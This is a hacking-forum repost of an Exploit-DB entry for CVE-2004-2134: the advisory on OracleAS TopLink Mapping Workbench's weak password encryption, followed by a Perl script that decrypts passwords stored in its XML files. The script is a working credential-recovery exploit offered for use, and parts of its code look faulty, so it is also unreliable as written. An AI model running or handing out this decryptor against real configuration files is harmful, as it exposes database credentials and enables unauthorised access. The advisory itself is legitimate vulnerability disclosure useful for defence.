Exploit OracleAS TopLink Mapping Workbench - Weak Encryption Algorithm

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
23611
Проверка EDB
  1. Пройдено
Автор
PETE FINNIGAN
Тип уязвимости
LOCAL
Платформа
MULTIPLE
CVE
cve-2004-2134
Дата публикации
2004-01-28
Код:
source: https://www.securityfocus.com/bid/9515/info

OracleAS TopLink Mapping Workbench is a tool included with OracleAS TopLink, a Java-based database integration development framework that is included as a component of various Oracle Application Server releases.

OracleAS TopLink Mapping Workbench is reported to use a weak encryption algorithm when storing passwords in XML files. A proof-of-concept has been released that demonstrates how passwords are encrypted, by reversing the process described in the proof-of-concept, an attacker with access to XML files generated by the software could decrypt embedded passwords. The encryption scheme uses a simplistic substitution cipher and then appends a static string to the end of the encrypted password.

The discoverer of this issue has not specified which Oracle Application Server releases are affected, though later releases such as 10g include support for the Java Cryptography Extension as well as user-specified custom encryption algorithms. Later releases are also backwards compatible with older encryption schemes, so could still be affected. This BID will be updated if further information is made available about affected releases.

#!/usr/bin/perl
#Decrypt Oracle Toplink Mapping WorkBench passwords.
#Author: Martin

$string = "A7FCAA504BA7E4FC";

sub usage {
	print " Usage: $0 <password to decrypt>\n";
	}

if ($#ARGV != 0) {
	usage();
	}

else {  
	$encrypted = $ARGV[0];
	$encrypted =~ s/$string/ /;
	$chars = length($encrypted);
	$enc2 = substr($encrypted,0,2);	
	$encrypted = substr($encrypted,2,length($encrypted));
	$i = 0;
	while (($chars / 2) >= $i + 1) {
		print $i;
		$int = hex($enc2);
		if (($i%2) == 1) { $result .= chr($int - ( ($i + 1 )/3 ) - 112); }
		else {  $result .= chr($int - 4 + $i); }		
		$enc2 = substr($encrypted,0,length($encrypted) - 1);
        	$encrypted = substr($encrypted,2,length($encrypted));
		$i++;	
		}
	print "$result\n";	
	}
 
Источник
www.exploit-db.com

Похожие темы